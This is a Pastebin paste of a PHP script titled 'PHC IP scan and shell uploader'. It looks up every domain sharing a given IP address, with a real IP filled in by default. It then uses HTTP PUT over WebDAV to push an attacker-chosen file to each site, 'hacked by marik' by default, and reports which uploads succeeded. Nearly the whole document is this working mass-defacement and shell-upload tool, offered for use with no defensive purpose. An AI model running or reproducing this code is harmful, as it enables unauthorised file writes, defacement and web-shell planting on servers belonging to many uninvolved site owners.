tobitaz

Ipscanwebdav

Oct 25th, 2013 (edited)
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.01 KB | None | 0 0
  1. <center><font style="font-size:40px">PHC IP scan and shell uploader</font><br /><br />
  2.  
  3.  
  4.  
  5.  
  6.  
  7. <?php
  8.  
  9.  
  10. echo '<form action="" method="post">
  11.        Filename:<input name="nam" value="mav.txt"><br />
  12.        Text:<br />
  13.        <textarea name="isi" cols="50" rows="30">hacked by marik</textarea><br />
  14.        Scan ip:<br />
  15.        <input name="wd" value="50.87.151.119"><br />
  16.        <input type="submit">
  17.        </form>';
  18.  
  19.  
  20.  
  21. $filename = $_POST["nam"];
  22. $ip = $_POST["wd"];
  23. $isi = $_POST["isi"];
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30. $fi = file_get_contents("http://sameip.org/ip/".$ip);
  31.  
  32. $fap = strip_tags($fi, "<td></td>");
  33.  
  34. $haha = preg_split('/(\r?\n)+/', $fap);
  35.  
  36. foreach($haha as $jojo)
  37. {
  38. $phc = trim($jojo);
  39. $naru = curl_init("http://".$phc);
  40.          curl_setopt($naru, CURLOPT_RETURNTRANSFER, 1);
  41.          $betol = curl_exec($naru);
  42.           curl_close($naru);
  43.  
  44.     if($betol === false)
  45.       {
  46.        
  47.       }
  48.      else
  49.      {
  50.  
  51. $taz = fopen("sementara.phc", "w+");
  52.           fwrite($taz, $isi);
  53.           fclose($taz);
  54.  
  55.  
  56.  
  57.  
  58.  
  59. // Prepare the file we are going to upload
  60. $filepath = "sementara.phc";
  61. $filesize = filesize($filepath);
  62. $fh = fopen($filepath, 'r');
  63.  
  64.  
  65.    
  66.  
  67.  
  68.  
  69. // The URL where we will upload to, this should be the exact path where the file
  70. // is going to be placed
  71. $remoteUrl = $phc;
  72.  
  73.  
  74. // Initialize cURL and set the options required for the upload. We use the remote
  75. // path we specified together with the filename. This will be the result of the
  76. // upload.
  77. $ch = curl_init($remoteUrl ."/". $filename);
  78.  
  79. // I'm setting each option individually so it's easier to debug them when
  80. // something goes wrong. When your configuration is done and working well
  81. // you can choose to use curl_setopt_array() instead.
  82.  
  83. // Set the authentication mode and login credentials
  84. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
  85.  
  86.  
  87. // Define that we are going to upload a file, by setting CURLOPT_PUT we are
  88. // forced to set CURLOPT_INFILE and CURLOPT_INFILESIZE as well.
  89. curl_setopt($ch, CURLOPT_PUT, true);
  90. curl_setopt($ch, CURLOPT_INFILE, $fh);
  91. curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
  92. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  93. // Execute the request, upload the file
  94. $cek = curl_exec($ch);
  95.            curl_close($ch);
  96. if($ip != null)
  97.  {
  98.    $cu = curl_init("http://".$phc."/".$filename);
  99.             curl_setopt($cu, CURLOPT_RETURNTRANSFER, true);
  100.             $res = curl_exec($cu);
  101.                        curl_close($cu);
  102.    
  103.  
  104.    $che = strripos($res, "403");
  105.    $che2 = strripos($res, "404");
  106.    $che3 = strripos($res, "method not allowed");
  107.    $che4 = strripos($res, "403.3");
  108.    $che5 = strripos($res, "Not found");
  109.  
  110.   if($che && $che2 && $che3 && $che4 && $che5 > 1)
  111.    {
  112.     if($cek === false)
  113.          {
  114.            echo "<a href='http://".$phc."/".$filename."'>".$phc."/".$filename."</a>:[failed]<br />";
  115.           }
  116.          else
  117.          {
  118.  
  119.                        $cr = curl_init();
  120.             curl_setopt($cr, CURLOPT_URL, "http://".$phc."/".$filename);    
  121.                   curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);
  122.                   $respons = curl_exec($cr);
  123.                       $errno = curl_errno($cr);
  124.                       $error = curl_error($cr);
  125.                $response = $response;
  126.                         $info = curl_getinfo($cr);
  127.                       $chek = $info['http_code'];
  128.                         curl_close($cr);
  129.  
  130.    
  131.                   if($chek > 400)
  132.                         {
  133.  
  134.            echo "<a href='http://".$phc."/".$filename."'>".$phc."/".$filename."</a>:[failed]<br />";
  135.                        }
  136.                    else
  137.                       {
  138.            echo "<a href='http://".$phc."/".$filename."'>".$phc."/".$filename."</a>:[uploaded]<br />";
  139.                       }
  140.          }
  141.     }
  142.   else
  143.    {
  144.      echo "<a href='".$phc."/".$filename."'>".$phc."/".$filename."</a>:[failed]<br />";
  145.     }
  146.  }
  147.  else
  148.   {
  149.   }
  150.  
  151.  
  152. // Close the file handle
  153. fclose($fh);
  154.      
  155.      }
  156.    
  157. }
  158. ?>                          
  159. </center>
Advertisement
Add Comment
Please, Sign In to add comment